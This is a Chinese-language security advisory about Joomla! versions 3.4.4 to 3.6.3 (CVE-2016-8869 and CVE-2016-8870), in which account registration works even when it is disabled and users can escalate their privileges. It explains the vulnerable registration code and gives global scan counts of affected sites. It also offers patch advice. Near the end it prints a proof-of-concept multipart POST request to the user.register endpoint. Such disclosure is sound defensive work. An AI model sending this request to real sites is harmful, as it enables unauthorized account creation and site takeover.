Joomla!用户特权提升漏洞影响范围分析:涉及全球超15000网站
作者: 日期:2016年11月01日 阅:2,761

2016年10月25日Joomla!官方网站发布两款补丁,主要针对网站关闭注册用户仍然可以注册用户漏洞,以及可以注册成为特权账户漏洞。该漏洞可使普通访客用户通过构造恶意数据包成为网站管理员,危害高。现在网络上已经有相关漏洞利用工具出现,请各位站长朋友立即修复。以免造成不必要的影响和损失。

joomla%ef%bc%81

 

Joomla! 使用PHP语言加上MySQL数据库所开发,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。它是一套全球排名第    二的知名内容管理系统(CMS)。据白帽汇不完全统计,现全球使用Joomla!系统所建设的网站约有86万。其中美国24万,德国12万,荷兰5万,波兰4万,俄罗斯3万。目前中国有3000多网站正在使用该系统。

研究人员可通过如下链接登录FOFA了解详情:

https://fofa.so/result?qbase64=Ym9keT0iY29udGVudD1cIkpvb21sYSIgfHwgKGJvZHk9Ii9tZWRpYS9zeXN0%0AZW0vanMvY29yZS5qcyIgJiYgYm9keT0iL21lZGlhL3N5c3RlbS9qcy9tb290%0Ab29scy1jb3JlLmpzIik%3D

%e5%9b%be%e7%89%87-2

漏洞原理与危害

该漏洞主要因为有两处注册代码,其中一处没有判断是否关闭注册功能,导致网站关闭注册情况下仍可以进行注册。

在注册时,由于程序在处理的时候没有过滤用户发送的数据字段,导致用户可以直接添加用户组字段。如用户添加管理员组字段,则可直接注册为管理员账户。

用户添加管理员后,可以在后台进行webshell上传等操作。黑客可控制和篡改,甚至删除网站,同时导致数据被泄露等后果。

漏洞分析

在Joomla!系统中存在两处注册的函数,分别位于:components/com_users/controllers/registration.php中的UsersControllerRegistration::register()和位于components/com_users/controllers/user.php中的UsersControllerUser::register()

其中components/com_users/controllers/user.php 中的注册函数没有判断网站是否关闭注册,进而导致在网站关闭注册情况下可创建普通用户的漏洞。同时该函数的流程中未对注册的字段进行过滤,导致可以加入Groups字段,并设置为管理员组的数值7(即提升为特权账户)。其相关漏洞代码如下,以下代码中虽然都进行了验证和过滤,但是存在漏洞的函数中使用的数据仍然是我们提交的数据,而不是过滤后的数据,所以我们才可以通过添加Groups字段来提升特权。

%e5%9b%be%e7%89%87-3

漏洞代码如下:

if (!$form)

{

JError::raiseError(500, $model->getError());

return false;

}

$return = $model->validate($form, $data);

………… 此处省略N行

// Finish the registration.

$return = $model->register($data);   //这里使用的是我们提交的$data数据,而不是过滤后的$return

以下是不存在漏洞的代码。

%e5%9b%be%e7%89%87-4

正常流程不存在漏洞的代码如下:

$data = $model->validate($form, $requestData);

…………

// Attempt to save the data.

$return = $model->register($data); //这里使用了过滤后的数据

漏洞影响

影响的Joomla!版本:3.4.4至3.6.3

影响范围

白帽汇第一时间对漏洞进行复现,并编写了扫描程序进行了全球扫描。目前,全球现有将近86万的Joomla!网站,目前存在网站的漏洞数量为15296个。排在前五的国家分别为美国,德国,荷兰,俄罗斯,还有法国。总共覆盖了100个国家和数百个城市。

%e5%9b%be%e7%89%87-5 %e5%9b%be%e7%89%87-6 %e5%9b%be%e7%89%87-7

%e5%9b%be%e7%89%87-8

其中国内受影响的网站有146个。其中杭州市就超过了一半,其中以政府、高校为主。

%e5%9b%be%e7%89%87-9 %e5%9b%be%e7%89%87-10

漏洞POC

POST /index.php?option=com_users&task=user.register HTTP/1.1

Host: [Joomla!系统地址]

Referer: [Joomla!系统地址]/index.php/component/users/?view=registration

Cookie: [网站Cookie]

Connection: close

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”user[name]”

baimaohui

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”user[username]”

baimaohui

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”user[password1]”

Baimaohui

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”user[password2]”

Baimaohui

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”user[email1]”

baimaohui@baimaohui.net

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”user[email2]”

email@example.com

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”option”

com_users

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”task”

user.register

——WebKitFormBoundarydPTNyMPMzmAhBsf4

Content-Disposition: form-data; name=”[这里是Token]”

1

——WebKitFormBoundarydPTNyMPMzmAhBsf4–

CVE编号

CVE-2016-8869,CVE-2016-8870

修复建议

1、 升级到最新的3.6.4版本

2、 针对定制化,或者对系统有改动的用户,可以通过手动修改删除的方式来修复。 删除掉网站路径components\com_users\controllers\user.php 文件中的register方法。 删除如下代码:

%e5%9b%be%e7%89%87-11

白帽汇会持续对该漏洞进行跟进。

参考

[1]https://fofa.so/result?qbase64=Ym9keT0iY29udGVudD1cIkpvb21sYSIgfHwgKGJvZHk9Ii9tZWRpYS9zeXN0%0AZW0vanMvY29yZS5qcyIgJiYgYm9keT0iL21lZGlhL3N5c3RlbS9qcy9tb290%0Ab29scy1jb3JlLmpzIik%3D

[2]https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

[3] https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html

[4] http://www.exploitalert.com/view-details.html?id=25143

[5] http://paper.seebug.org/88/

 

关键词:

申明:本文系厂商投稿收录,所涉观点不代表安全牛立场!


相关文章